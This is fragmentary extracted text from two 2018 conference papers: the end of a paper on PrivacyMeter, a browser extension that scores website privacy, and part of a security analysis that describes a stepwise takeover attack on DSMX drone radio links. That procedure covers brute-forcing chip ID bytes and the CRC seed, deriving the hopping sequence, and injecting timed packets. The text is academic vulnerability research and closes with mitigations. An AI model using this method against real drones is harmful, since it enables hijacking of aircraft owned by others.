address, name, and date of birth, or even ask users to provide similar informa-
tion in order to just submit a contact form. Unfortunately, this sensitive data is
not always collected and handled in the most confidential and secure way possi-
ble. Previous research has shown how websites may leak user information, either
due to poor programming practices [6,13,18,26], or through the intentional out-
sourcing of functionality to third-party services [6,26]. One of the most intrusive
The stamp on the top of this paper refers to an approval process conducted by the
ESSoS Artifact Evaluation Committee.
c Springer International Publishing AG, part of Springer Nature 2018
M. Payer et al. (Eds.): ESSoS 2018, LNCS 10953, pp. 77–95, 2018.
https://doi.org/10.1007/978-3-319-94496-8_6
78 O. Starov and N. Nikiforakis
of the two main parts: (1) box plots to show the relative privacy risks; (2) text
warnings with definite privacy risks (or with additional details about relative
risks). In both cases, we use the aforementioned three-color scheme to highlight
the severity of the threat, where green is used as “safe”, yellow as “potentially
dangerous”, and red as “dangerous” level. For instance, if the web page contains
too many trackers (in comparison with other similar sites), the corresponding
box plot will be colored with yellow or red. Similarly, if the page contains any
number of low-reputation trackers, the corresponding message will be highlighted
with red. PrivacyMeter also gives users the ability to get additional details,
whether by hovering the mouse over the particular box plot, or by clicking on
each text warning.
The main functionality of PrivacyMeter is to provide users with under-
standable privacy scores of the websites that they visit. To be usable, these scores
must reflect the privacy practices of websites in such a way, that users intuitively
PrivacyMeter 81
understand and agree with them. As such, in order to evaluate the severity of a
particular relative privacy issue we compare the value for the current web page
to the mean value over other websites: if it is greater than the mean plus one
standard deviation, we mark it as “potentially dangerous,” and if it is greater
than the mean plus two standard deviations, we mark it as a “dangerous” issue.
The overall privacy score presented to a user is the number of all the privacy
issues found on the page, which is colored with red if at least one of the issues
falls into the “dangerous” category.
Despite our best efforts to score privacy issues in an objective way, we antic-
ipate that a fraction of advanced users may not entirely agree with the default
scoring thresholds or with the set of privacy features that comprise our privacy
score. To maintain the usability of our tool, we allow users to remove some fac-
tors from the score calculation on the extension’s setting page to better reflect
their privacy preferences. Similarly, PrivacyMeter provides an option to com-
pare relative factors to median and the third quartile of a distribution instead of
the mean-based comparison, as well as to change the base threat level (whether
to relax it by counting considerable risks as safe, or to consider any number of
trackers or leaky web forms as dangerous).
The text warnings assist users with the decision whether to limit (or stop)
the browsing of a web page. For instance, when a leaky form is discovered, the
corresponding message advises user to refrain from trusting the website with
their PII. We decided to use box plots in addition to the text warnings with
the assumption that visual information is easier and quicker to understand.
Particularly, we chose box plots for the type of plot as those clearly show how a
single data point compares to the overall distribution of values. We argue that
with a little training, even non-technical users are able to read such visualizations
faster then text explanations, and develop an intuition about relative privacy
risks.
As an additional functionality, PrivacyMeter’s interface provides a control
to select a category for the current website. In this case, all the relative privacy
risks will be compared to other known web pages of only the selected category.
For instance, Fig. 1b shows how the picture changes for money.cnn.com if we
consider only news websites. Given that news sites tend to have more trackers
than other types of websites (we quantify this in Sect. 3), the 43 trackers of
money.cnn.com are not considered an outlier and therefore PrivacyMeter’s
warnings regarding the number of trackers disappear. We argue that this ability
to compare with other similar websites helps web users to translate raw numbers
into the privacy expectations, i.e., to immediately gauge whether their website
of interest stands out in a positive (i.e. more private than average) or negative
(i.e. less private than average) direction.
represented by comparative metrics, whereas factors which are definite risks are
usually represented using binary values. PrivacyMeter deploys mechanisms
to test a web page against the following four main groups of privacy risks (each
group has a correspond box plot on the interface in Fig. 1):
Architectural Challenges
in font enumeration via JavaScript [21]). For a complete list of APIs see
Appendix B.
Comparability of the Values. PrivacyMeter compares many parameters
among different websites in order to calculate a relative privacy scores. To make
this comparison representative and fair, the tests must be performed in the
same fashion across all the web pages. For instance, one challenge is to unify the
duration of measurements as users spend different time on different websites.
We can imagine a situation where a new tracking script is dynamically loaded
on the page after a one-minute delay, or after a particular user action. While
this does not affect the client-side functionality of the extension as the privacy
score shown to the user is dynamically updated, on the back end we take into
account that one URL may naturally have different measurements, and we want
to record the duration of each test. Another affected factor is the fingerprinting
activity, though in this case later API calls may be a legitimate result of the
user’s actions on a page, and should not be attributed to the tracker’s script. To
allow the comparison of fingerprinting APIs we decided to record fingerprinting
activity only during the first five seconds on the page, assuming that the most
tracking activity happens immediately after loading tracking scripts. Naturally
this threshold is configurable and can be changed to fit different use cases.
Performance Side-Effects. An important requirement of PrivacyMeter is
that of low performance overhead as this directly affects the usability of the tool.
As such, we use the state-of-the-art code by Adblock Plus to detect tracking
requests as fast as possible, and optimize each custom monitoring module to
perform less comparisons and function calls when analyzing new requests, web
forms, and iframes. Moreover, we deploy the following strategies:
– Lazy-loading and batch processing. When a web page is loading, new
trackers, web forms, iframes and API calls appear one by one. In real-time,
each new item has to be processed by the corresponding PrivacyMeter’s
PrivacyMeter 85
module, and the overall privacy score has to be updated. A naive approach
would be to process each item separately and immediately request a redrawing
of the privacy score. Practically, this results in high performance overhead as
numerous messages are generated passing between different contexts of the
browser extension. Moreover, information such as a tracker’s Web-of-Trust
score is requested from the back-end via HTTP requests, and it can therefore
be expensive to issue a separate request for each tracker. Similarly, a call
to the function that provides geolocation based on a tracker’s IP address is
also time-consuming. As such, we decided to use batch-processing after lazy
loading of new items. Technically, we launch a periodical update event which,
once every 0.5 s, surveys all the modules about newly gathered information,
and re-calculates the privacy issues and score. This helps to decouple the
extension’s UI from the score calculations, and keep it responsive to other
user actions.
– Client-side and server-side caching. Even with batch processing, we issue
at least one bulk request to the back-end per visited URL in order get addi-
tional information like Web-of-Trust scores for encountered trackers. This
may be expensive in terms of bandwidth, as well as unnecessary as reputa-
tion of trackers may not change that often. To reduce the number of requests
to the back-end, we keep an internal client-side cache for tracker information,
empirically setting each record’s TTL to one week. Similarly, we cache the
ground truth with statistics about relative privacy parameters, received from
the centralized database, as well as EasyPrivacy lists for two days. Finally,
we keep a server-side cache to avoid overloading APIs that are external to
our infrastructure, such as those provided by the Web-of-Trust [30].
installed, which is instructed to visit a range of websites and report the calculated
privacy statistics so that they can be included in our centralized database.
3 PrivacyMeter’s Evaluation
100
Trackers
50
0
Fingerprinting APIs
40
20
0
l
ts
ss
es
lth
ns
ce
ng
ts
l
na
ul
ra
ew
et
om
io
nc
Ar
or
te
ne
Ad
am
ea
ee
en
pi
ve
at
io
ci
ie
pu
Sp
N
op
H
/T
So
si
eg
H
re
er
O
Sc
G
om
Bu
ds
Sh
ef
ec
R
R
Ki
R
C
Category
Fig. 3. Box plots for number of trackers and number of fingerprinting API calls per
each of 17 Alexa’s website categories, as well as the overall distribution.
as, Apple, Google, and Facebook, tend to utilize their own, in-house, tracking
solution rather than rely on third parties.
In terms of third-party iframes and leaky web forms, only some distribution
parameters, such as median, are different (see Fig. 5 in Appendix A). For exam-
ple, news and sports pages clearly have more third-party iframes than other web
pages. This could be because these types of pages rely on advertising for mone-
tization and therefore are likely to be utilizing a large number of distinct iframes
where ads are rendered. It is worth noting that PrivacyMeter will count each
loaded third-party iframe, even if it was substituted with another one. Next to
these general trends, we can spot categories with strongly-pronounced outliers
especially on the “leaky” forms box plot. For example, news websites have many
outliers with websites containing up to 200 leaky web forms (our crawler counts
each instance of a leaky form since the more present a form is on a website, the
more likely a user is to interact with it).
Overall, our results support the premise that incorporating similar box plots
to the PrivacyMeter’s interface and comparing privacy scores of a particular
web page to them, can reveal whether the current website is an outlier or not,
in terms of other sites of the same category.
Performance Overhead. In order to test the performance of PrivacyMeter,
we decided to compare it to Ghostery, a state-of-the-art commercial blocker
which, according to prior work [19], detects more trackers than competing exten-
88 O. Starov and N. Nikiforakis
(a) 30
Extension
Ghostery
20 PrivacyMeter
# Websites
10
0
0 5 10 15
Page Load, sec.
(b)
Extension
30 Ghostery
PrivacyMeter
# Websites
20
10
0
1 0 1 2 3 4
DOM Load, sec.
sions. Ghostery, like PrivacyMeter, does not, by default, block trackers but
instead presents the list of detected trackers, which makes the performance com-
parison appropriate. We visited the top 50 websites according to Alexa’s rank-
ing with and without each extension. During each visit we recorded times of the
DOMContentLoaded and Load page events. Each test was repeated 10 times with
caching disabled in order to retrieve the average timing. For the measurements,
we utilized a laptop with 8 GB of RAM, Intel’s i3 CPU, Ubuntu 14.04 and the
latest version of Google Chrome. We present the performance overhead as the
time difference between the average page load time with an extension present
and absent.
Even with the additional modules of PrivacyMeter (described in Sect. 2),
our extension introduces 0.138 s of delay to the DOM loading, and 1.217 to the
overall page loading, while Ghostery adds 1.412 and 2.546 s correspondingly.
Figure 4 compares the distribution of delays introduced by each extension for
both of the load events. Note that the negative values mean that, for those
particular websites, the overhead from PrivacyMeter is less than the loading
variance due to network conditions and system load.
PrivacyMeter 89
4 Crowdsourcing
An additional component of PrivacyMeter’s architecture is the ability to col-
lect privacy scores and privacy statistics of web pages that users browse. If users
opt-in to our crowdsourcing mechanism, PrivacyMeter will, after generating a
page’s privacy score, communicate that score and its individual parameters back
to our central server. This crowdsourcing mechanism will enrich our database
with entries for websites that the active users of PrivacyMeter find relevant,
and will help the crawler to keep available statistics up-to-date. Consequently,
the accuracy of the privacy score will be continuously adjusted to provide proper,
up-to-date values.
To protect the anonymity of users who opt-in to crowdsourcing, Privacy-
Meter does not collect any PII. Instead, for users who have opted-in, the exten-
sion reports to its backend the following privacy practices per web page: list of
present trackers (their URLs), fingerprinting APIs called (and their counts), list
of third-party iframes, and the list of “leaky” web forms. Our extension does not
utilize any stateful/stateless identifiers that would allow us to reconstruct a user’s
session. Finally, in order to be fully transparent, the code of PrivacyMeter is
made available as open source and the extension itself does not utilize any obfus-
cated JavaScript code.
90 O. Starov and N. Nikiforakis
Next to the improving of the tool itself, the ability to collect crowdsourced
statistics about the privacy practices of websites will help to drive future pri-
vacy research that will benefit end users. For instance, the collected data can
allow us to understand how privacy risks evolve and inform policies and future
technical countermeasures. Even with our currently small user base (17 users at
the time of this writing, most of whom are researchers participating in the Data
Transparency Lab initiative [7]), we already see the benefits of crowdsourcing,
which gives us ability to discover more trackers when considering other URLs of
the same website in addition to its front page. Namely, these PrivacyMeter
users contributed privacy reports for an additional 7K URLs (belonging to both
popular and less popular websites) which were not part of our crawling efforts
on which 1,015 previously unseen tracking domains were detected.
5 Future Work
In terms of future work, our next step is to conduct user studies (using either
online platforms such as Amazon Mechanical Turk or recruiting students from
our institute) to quantify how much more helpful users find the output of
PrivacyMeter, compared to traditional output of existing browser extensions,
such as, Ghostery. In this paper we decided to focus on the engineering and
implementation challenges of building a privacy-preserving browser extension
which are separate from followup user studies.
Next to user studies, we plan on adding detection capabilities for identi-
fying malicious web clients. As with any system supported by user-provided
data, malicious users can attempt to poison PrivacyMeter’s central database
by submitting false reports. To the best of our knowledge no privacy browser
extension deploys a client-side protection against that. We plan to mitigate this
kind of abuse through a combination of client-side and server-side techniques
including using proof-of-work algorithms [10] at the client side (to slow down
automated submissions) and IP-address-based majority voting at the server side
(to filter-out reports containing outliers).
PrivacyMeter 91
6 Related Work
The modern market of privacy-preserving browser extensions is mainly repre-
sented by anti-tracking blockers [4,5,8,9,22,28,29]. While some of them attempt
to provide additional information like categories of trackers, such as advertise-
ment or analytics [8,9], the majority are general blockers, which just show users
the list of discovered tracking domains. Similarly, to the best of our knowledge,
PrivacyMeter is the first browser extension to evaluate a range of privacy
practices of visited web pages in a single solution, as well as to calculate a rela-
tive privacy score, comparing each site with other similar sites.
Leon et al. in 2011 evaluated the usability of nine blocking tools including
Adblock Plus and Ghostery [14]. The study reports many issues revolving around
the configuration and usage of these tools. Malandrino et al. also point out issues
with user awareness and effectiveness of blocking tools [17]. As such, other pri-
vacy preserving extensions attempt to deceive trackers, e.g. AdNausem [1] auto-
matically clicks on all blocked ads in an effort to confuse trackers about a user’s
true interests. Similarly, TrackMeNot [3] simulates dummy search queries, and
BrowsingFog [27] obfuscates browsing history against extension-level trackers.
Chameleon [2] attempts to unify fingerprinting features of the Chrome browser
(similar to the Tor Browser), in order to break fingerprintability. Despite their
benefits, none of the aforementioned tools provide feedback to users about the
privacy practices of each visited website.
The work that is the closest to ours is the PrivacyScore website by Maass et
al. [16], which deploys automated scanning of websites and allows its users to get
security and privacy features for websites of their interest. A major difference
is the vantage point of these two tools since, in our work, PrivacyMeter is a
browser extension running on the client-side and therefore having access to all of
the content that a server-side crawler cannot access (such as content behind reg-
istration walls). Moreover, PrivacyMeter’s calculates a privacy score dynam-
ically which means that the score that the user sees is always representative of
the current state of the website, and is not a previous score from the last time
that the site was crawled.
7 Conclusion
As companies seek to collect more and more data about our online activity, it
is imperative that users develop an understanding of privacy issues on the web,
rewarding responsible websites with their visits while shunning away from web-
sites employing intrusive privacy practices. In this paper, we described the design
and implementation of PrivacyMeter, a browser extension (with a server back-
end) which aims to provide users with actionable information about a website’s
privacy-related practices and how it compares to other sites of the same category.
We demonstrated that PrivacyMeter’s performance overhead is less than that
92 O. Starov and N. Nikiforakis
Acknowledgments. We thank the reviewers for their valuable feedback. This work
was support by the National Science Foundation under grants CNS-1527086 and CNS-
1617593 as well as by the Data Transparency Lab.
Appendix A
150
Third−party Iframes
100
50
200
150
Leaky Forms
100
50
0
l
ts
ss
rs
es
lth
ns
ce
ng
ts
l
na
ul
ra
ew
et
om
io
nc
Ar
or
te
ne
Ad
am
ea
ee
en
pi
ve
at
io
ci
ie
pu
Sp
N
op
H
/T
So
si
eg
H
re
er
O
Sc
G
om
Bu
ds
Sh
ef
ec
R
R
Ki
R
C
Category
Fig. 5. Box plots for number of third-party iframes and number of leaky web forms
per each of 17 Alexa’s website categories, as well as the overall distribution.
PrivacyMeter 93
Appendix B
The list of fingerprinting-related APIs currently intercepted by PrivacyMeter:
References
1. AdNauseam. http://adnauseam.io/
2. Chameleon. https://github.com/ghostwords/chameleon
3. TrackMeNot. https://cs.nyu.edu/trackmenot/
4. AdBlock. https://getadblock.com/
5. Adblock Plus. https://adblockplus.org/
6. Chaabane, A., Ding, Y., Dey, R., Kaafar, M.A., Ross, K.W.: A closer look at
third-party OSN applications: are they leaking your personal information? In:
Faloutsos, M., Kuzmanovic, A. (eds.) PAM 2014. LNCS, vol. 8362, pp. 235–246.
Springer, Cham (2014). https://doi.org/10.1007/978-3-319-04918-2 23
7. Data Transparency Lab. http://datatransparencylab.org/
8. Disconnect—Online Privacy & Security. https://disconnect.me/
9. Ghostery. https://www.ghostery.com/
10. Hashcash: Proof-of-work algorithm. http://www.hashcash.org/
11. Hruska, J.: Forbes forces readers to turn off ad blockers, promptly serves mal-
ware (2016). http://www.extremetech.com/internet/220696-forbes-forces-readers-
to-turn-off-ad-blockers-promptly-serves-malware
94 O. Starov and N. Nikiforakis
12. Iqbal, U., Shafiq, Z., Qian, Z.: The ad wars: retrospective measurement and anal-
ysis of anti-adblock filter lists. In: Proceedings of the 2017 Internet Measurement
Conference, IMC 2017 (2017)
13. Krishnamurthy, B., Naryshkin, K., Wills, C.E.: Privacy leakage vs. protection mea-
sures: the growing disconnect. In: Web 2.0 Security and Privacy Workshop (2011)
14. Leon, P., Ur, B., Shay, R., Wang, Y., Balebako, R., Cranor, L.: Why Johnny can’t
opt out: a usability evaluation of tools to limit online behavioral advertising. In:
Proceedings of the SIGCHI Conference on Human Factors in Computing Systems,
CHI 2012, pp. 589–598. ACM, New York (2012). https://doi.org/10.1145/2207676.
2207759
15. Lerner, A., Simpson, A.K., Kohno, T., Roesner, F.: Internet Jones and the raiders
of the lost trackers: an archaeological study of web tracking from 1996 to 2016. In:
USENIX Security Symposium (2016)
16. Maass, M., Wichmann, P., Pridöhl, H., Herrmann, D.: PrivacyScore: improving pri-
vacy and security via crowd-sourced benchmarks of websites. In: Schweighofer, E.,
Leitold, H., Mitrakas, A., Rannenberg, K. (eds.) APF 2017. LNCS, vol. 10518, pp.
178–191. Springer, Cham (2017). https://doi.org/10.1007/978-3-319-67280-9 10
17. Malandrino, D., Petta, A., Scarano, V., Serra, L., Spinelli, R., Krishnamurthy, B.:
Privacy awareness about information leakage: who knows what about me? In:
Proceedings of the 12th ACM Workshop on Workshop on Privacy in the Electronic
Society, WPES 2013, pp. 279–284. ACM, New York (2013). https://doi.org/10.
1145/2517840.2517868
18. Mayer, J.R., Mitchell, J.C.: Third-party web tracking: policy and technology. In:
IEEE Symposium on Security and Privacy, pp. 413–427. IEEE Computer Society
(2012). http://dblp.uni-trier.de/db/conf/sp/sp2012.html#MayerM12
19. Merzdovnik, G., Huber, M., Buhov, D., Nikiforakis, N., Neuner, S., Schmiedecker,
M., Weippl, E.: Block me if you can: a large-scale study of tracker-blocking tools.
In: Proceedings of the 2nd IEEE European Symposium on Security and Privacy
(IEEE Euro S&P) (2017)
20. Mughees, M.H., Qian, Z., Shafiq, Z.: Detecting anti ad-blockers in the wild. Proc.
Priv. Enhancing Technol. 2017(3), 130–146 (2017)
21. Nikiforakis, N., Kapravelos, A., Joosen, W., Kruegel, C., Piessens, F., Vigna, G.:
Cookieless monster: exploring the ecosystem of web-based device fingerprinting. In:
Proceedings of the 34th IEEE Symposium on Security and Privacy (IEEE S&P),
pp. 541–555 (2013)
22. Privacy Badger—Electronic Frontier Foundation. https://www.eff.org/
privacybadger
23. Sanchez-Rola, I., Santos, I., Balzarotti, D.: Extension breakdown: security anal-
ysis of browsers extension resources control policies. In: 26th USENIX Security
Symposium, pp. 679–694 (2017)
24. Sjösten, A., Van Acker, S., Sabelfeld, A.: Discovering browser extensions via web
accessible resources. In: Proceedings of the Seventh ACM on Conference on Data
and Application Security and Privacy, pp. 329–336. ACM (2017)
25. Starov, O., Nikiforakis, N.: XHOUND: quantifying the fingerprintability of browser
extensions. In: 2017 IEEE Symposium on Security and Privacy (SP), pp. 941–956,
May 2017. https://doi.org/10.1109/SP.2017.18
26. Starov, O., Gill, P., Nikiforakis, N.: Are you sure you want to contact us? Quanti-
fying the leakage of PII via website contact forms. PoPETs 2016(1), 20–33 (2016).
http://www.degruyter.com/view/j/popets.2016.2016.issue-1/ popets-2015-0028/
popets-2015-0028.xml
PrivacyMeter 95
27. Starov, O., Nikiforakis, N.: Extended tracking powers: measuring the privacy dif-
fusion enabled by browser extensions. In: Proceedings of the 26th International
Conference on World Wide Web. WWW 2017, pp. 1481–1490, International World
Wide Web Conferences Steering Committee, Republic and Canton of Geneva
(2017). https://doi.org/10.1145/3038912.3052596
28. uBlock. https://www.ublock.org/
29. uBlock origin. https://chrome.google.com/webstore/detail/ublock-origin/cjpalhd
lnbpafiamejdnhcphjbkeiagm
30. Safe Browsing Tool—WOT (Web of Trust). https://www.mywot.com/
Security Analysis of Drone
Communication Protocols
1 Introduction
1
http://www.drohnen-journal.de.
c Springer International Publishing AG, part of Springer Nature 2018
M. Payer et al. (Eds.): ESSoS 2018, LNCS 10953, pp. 96–107, 2018.
https://doi.org/10.1007/978-3-319-94496-8_7
Security Analysis of Drone Communication Protocols 97
2 Related Work
In this paper, the acronym UAV is used to represent a power-driven, reusable
plane or copter that is operated without a human pilot on board [3]. Unmanned
missiles or bombs are outside the scope of this paper. Most UAVs have remote
control and communication means. Control by wireless communication bears the
danger of misuse. However, research on UAVs is mainly focused on autonomous
behavior and control. [4] provides an overview of the field and identifies the
following research challenges:
98 C. Bunse and S. Plotz
WLAN (i.e., hobbyist class). They further advocate to apply known IT security
measures to UAVs as well.
For a comprehensive list of additional vulnerabilities found on UAVs as well
as attack tools and methodologies, refer to [7].
3 Protocol Principles
To receive a message, the described steps are carried out in the reversed
order. The received signal is first demodulated and then decoded. The steps for
receiving a message are shown in Fig. 2.
This section describes the typical structure of messages in a radio protocol. The
following is an overview of the components of messages that are used in many
protocols:
– The messages of most protocols begin with the preamble. The preamble
typically consists of an alternating bit sequence (1010...10 or 0101...01).
It is used to synchronize the clock so that the received signal can be sampled
at the correct times. The length of the preamble depends on the protocol
used.
100 C. Bunse and S. Plotz
3.2 Encoding
After the previous section dealt with the typical structure of messages of a radio
protocol, this section deals with the encoding of the message. Encoding describes
the conversion of message bits into data bits, which are then transmitted via the
physical channel. The encoding is done to make the signal more robust against
interferences during radio transmission. A frequently used method is Direct
Sequence Spread Spectrum (DSSS). In this method, the message bits are
XORed with pseudonoise (PN) codes (see Fig. 3).
In the shown example, each bit of the message bits is encoded by four bits
in the data bits. This makes it easier to detect and correct errors that may have
occurred. The message bits can only be reconstructed if the PN codes are known.
3.3 Modulation
After the message has been encoded, it now has to be modulated. Modulation
is the process by which the user data to be transmitted changes (modulate) a
carrier signal. This can be done in different ways. For example, frequency shift
keying (FSK) changes the frequency of the carrier signal. If a binary 1 is to be
transmitted, the frequency of the carrier signal is increased (see Fig. 4).
Security Analysis of Drone Communication Protocols 101
4 Demonstration
This chapter demonstrates an attack vector to the DSMX protocol by Spek-
trum [12]. For this reason, we will first discuss the general steps to attack a
protocol and take control of a UAV. Then the practical implementation of the
attack and the results will be discussed.
4.1 Approach
In the following, we will first show how a protocol for controlling a drone can be
attacked.
1. Get documentation: First the communication (protocol) between a UAV
and its base station (e.g., a remote control unit or a computer) has to be
analyzed. Although there is no real communication standard3 the underlying
basis boils down to four different radio chips: A7105, CC2500, NRF24L01
and CYRF6936 [10]. Identifying the radio chip and obtaining its freely avail-
able documentation is the starting point for all future actions. In detail, this
2
The concrete procedure is laid down in the protocol.
3
The Deviation project (www.deviationtx.com) lists more than 50 different protocols
and subprotocols.
102 C. Bunse and S. Plotz
step allows to learn about frequency bands and channels as well as spread-
spectrum or modulation techniques.
2. Capture data packet: Due to methods such as FHSS there is no single,
easily identifiable frequency that carries data packets. A software defined
radio (SDR) together with supporting software (e.g., Universal Radio Hacker)
or the radio chip itself can be used to scan for active channels. A second
option is to monitor the configuration of the channel to be used directly via
SPI sniffing on the radio chip. Matching frequencies can then be determined
by examining the documentation. Now messages can be recorded using an
SDR and then be demodulated. The resulting byte sequence has then to be
further analyzed (e.g., check whether it starts with the expected preamble).
Data packets can also be received directly by using the original radio chip.
3. Reverse DSSS: If the DSSS method was used for encoding a
packet/message, its PN codes have to be identified in a further step. Since,
often a SPI (Serial Peripheral Interface) interface is used to control the radio
chip, PN codes can be obtained via SPI sniffing.
4. Identify hopping sequence: In the next step, the actual hopping sequence
or the algorithm used to derive the sequence has to be determined. In order
to do so, either obtaining channel configuration via SPI sniffing or by SDR
based sniffing and analysis can be used [11].
5. Attack: Once all necessary information has been collected, the final step
is to attack (i.e., to take over control). This can be achieved, by a timing
attack that makes use of the applied channel hopping procedure. In detail,
data packets of the attacker are send shortly before the data packets of the
legitimate operator. The UAV receives the attacker’s data packets and imme-
diately changes its frequency (due to FHSS). As a result, the data packets of
the legitimate owner are no longer received and the attacker has full control.
This section discusses the practical implementation of the attack and the
results. For this purpose, the most important properties of the radio chip used
(CYRF6936 ) and the DSMX protocol are described first. Figure 5 shows the
structure of a data packet for the CYRF6936.
The packet begins with a preamble, which is followed by the Start of packet
(SOP ) symbol. The SOP marks the beginning of the packets’ payload (cf. SOF in
Security Analysis of Drone Communication Protocols 103
Sect. 3.1). In addition, it encodes the data rate for the remainder of the packet.
The radio chip must be able to detect the previously configured SOP symbol
in order to receive a packet. If this fails, no packet can be received. The LEN
field contains the number of bytes transferred and the DATA part of the packet
contains the user data. The CRC field contains a checksum to verify that the
packet has been transmitted correctly. A CRC16 algorithm is used to calculate
the checksum. The CRC16 is performed only on the length and data fields of the
packet. Received packets for which the CRC check fails are still available to the
application. The CRC16 can be seeded with a user specified 16-bit value [13].
Before a UAV can be controlled using the DSMX protocol, the remote control
unit and the receiver in the UAV drone must be bound. During this binding,
4 bytes of the transmitter’s radio chip ID are transferred. Since the binding
procedure only has to be performed once for a sender-receiver pair, an attacker
usually cannot intercept these packets. A binding packet has a length of 16 bytes.
Table 1 shows the contents of a binding packet.
After the binding process has been successfully completed, transfer or data
packets are sent to control the drone. The structure of a transfer packet is shown
in Table 2. A transfer packet also has a length of 16 bytes.
Since the SOP symbols, the PN codes, the CRC seed and the hopping
sequence4 are derived from the 4 bytes of the radio chip ID, these must be
known in order to be able to take over the drone. In each transfer packet, bytes
2 and 3 of the radio chip ID are transmitted. In order to receive a transfer
packet using the CYRF6936, both the SOP symbol used and the PN code must
be known. The DSMX protocol uses a predefined set of byte sequences for the
SOP symbols and PN codes. Since the SOP symbols and PN codes are already
known (see [15]), we did not have to determine them using SPI sniffing. Only
eight different combinations of SOP symbols and PN codes are used per chan-
nel [15]. Which of the eight combinations is used in each case depends on the
bytes 0–2 of the radio chip ID.
The next step of the attack is capturing a transfer packet. A brute force
approach has been implemented for this purpose: Starting with the first channel
used by the DSMX protocol (3), an attempt was made to receive a packet. For
each channel, the eight possible combinations of SOP symbols and PN codes were
tested. The receiver waits a little longer than a run of 23 channels would take to
receive a packet (in this example 250 ms). If this is successful, bytes 2 and 3 of the
radio chip ID can now be read from the received transfer packet. The bytes 0 and
1 of the radio chip ID are used as the seed for the CRC16 algorithm. These can
now also be determined using a brute force approach: The CRC16 algorithm has
been implemented for this purpose. The algorithm gets called with the data of
the packet just received and with the possible values for the seed. If the calculated
CRC value matches the CRC value of the last received packet, the correct seed
(and thus also the bytes 0 and 1 of the radio chip ID) has been carried out. In the
next step, the hopping sequence used has to be found. It is already known how
the hopping sequence is derived from the 4 bytes of the radio chip ID [16]. Now
that all 4 bytes of the radio chip ID have been determined, the hopping sequence
can be calculated easily. In the last step, synchronization with the target system
must now be carried out. To prepare for synchronization, the exact time intervals
between the individual packets had to be determined first. For this purpose, the
implementation of the DSMX protocol was temporarily adapted so that only
one channel is used. This made it possible to record several consecutive packets
with the help of an SDR and suitable software (for example the Universal Radio
Hacker) and to measure the time intervals. During the attack, the program waits
for the packet to be received on the first channel of the hopping sequence. If this
could be successfully received, the following packets are sent shortly before those
of the legitimate owner. To avoid a time deviation when sending the packets,
the program attempts to receive the packet from the actual owner after every
second packet sent. This corresponds to a resynchronization. As soon as the own
data packets are sent shortly before the owner’s packets, the attacker has gained
control of the drone.
For the described attack we used a Banggood 4-in-1 STM32 module (see
Fig. 6). This module contains a CYRF6936 chip as well as a CC2500, A7105 and
NRF24L01 chip. The firmware of the DIY-Multiprotocol-TX-Module project
4
In the DSMX protocol, the hopping sequence is a sequence of 23 channels.
Security Analysis of Drone Communication Protocols 105
has been adapted accordingly. The module was plugged into a Frsky Taranis
X9D Plus remote control unit to take over the drone (Fig. 7). Table 3 shows the
measurement results of the practical implementation of the attack.
Fig. 6. 4-in-1 STM32 module [17] Fig. 7. Taranis X9D Plus [18]
Step Duration
a
Receive transfer packet 10848878 µs (≈10 s)
Brute force CRC seed 623649 µs (≈0.6 s)
Overall 11645488 µs (≈11 s)
a
This time includes the time to determine a
channel and the combination of SOP symbol
and PN code used. This time also depends on
the smallest channel of the hopping sequence
used, since the brute force approach starts with
the smallest possible channel.
using the DSM protocol family by Spektrum Inc. that is mainly used for hobby-
ist and semi-professional UAVs. In detail, we identified the used communication
chip (i.e., a CYRF6936) and reverse engineered relevant protocol details. The
CYRF6936 chip is commercially available and is designed to implement wire-
less device links operating in the worldwide 2.4 GHz ISM frequency band. The
CYRF6936 is a fundamental unit that provides communication features. Thus,
security means have to be implemented by the communication protocol itself.
Interestingly a closer look onto the DSM protocol family revealed that although
a kind of key exchange (i.e., bind procedure) is used, security is limited to a
few bytes. By brute-forcing these bytes (i.e., the PN codes) the CRC seed as
well as the frequency hopping sequence can be determined. By using a timing-
attack (i.e., sending the attack packets shortly before the original packet), it was
possible to easily take over control in seconds.
Due to the limited number of communication chips, and the known details
of many protocols as described in the context of the Deviation project (www.
deviationtx.com) this approach can easily be transferred to other protocols. Com-
bined with a protocol analyzer using AI-technologies to identify the used proto-
col, attackers can take control of nearly any UAV.
In order to increase the security of the DSM protocol family, and in the long
run of all known drone communication protocols it is recommend that transfer-
ring the secret key, negotiated during the binding phase, within the standard
transfer packets should be avoided. This discloses parts of the secret every 11
or 22 ms. In order to prevent an attacker from receiving the transmitted packets
using a CYRF6936 chip, the SOP codes used should not be known in advance
and should depend on the negotiated secret. Furthermore, it is recommended to
use the longest possible secret (at least 6 bytes). This makes a brute force attack
considerably more difficult and ensures stronger authentication of the legitimate
owner. Finally, it is recommended to use cryptographic methods. These should
be publicly known and acknowledged. However, it should be noted that hard-
ware resources are limited and that response times must be adhered. Thus, the
right balance of security and performance has to be conserved.
In summary, we believe that addressing the discussed vulnerabilities and
developing a “secure” protocol will help preventing the majority of software
centric attacks. However, this may weaken defenses regarding site protection.
Further work is necessary to investigate other attack vectors and protocols. In
summary, we hope that our work will be a basis for future security analyses and
efforts in the domain of Unmanned Aerial Vehicles.
References
1. Allianz Global Corporate: Rise of the Drones - Managing the Unique Risks Asso-
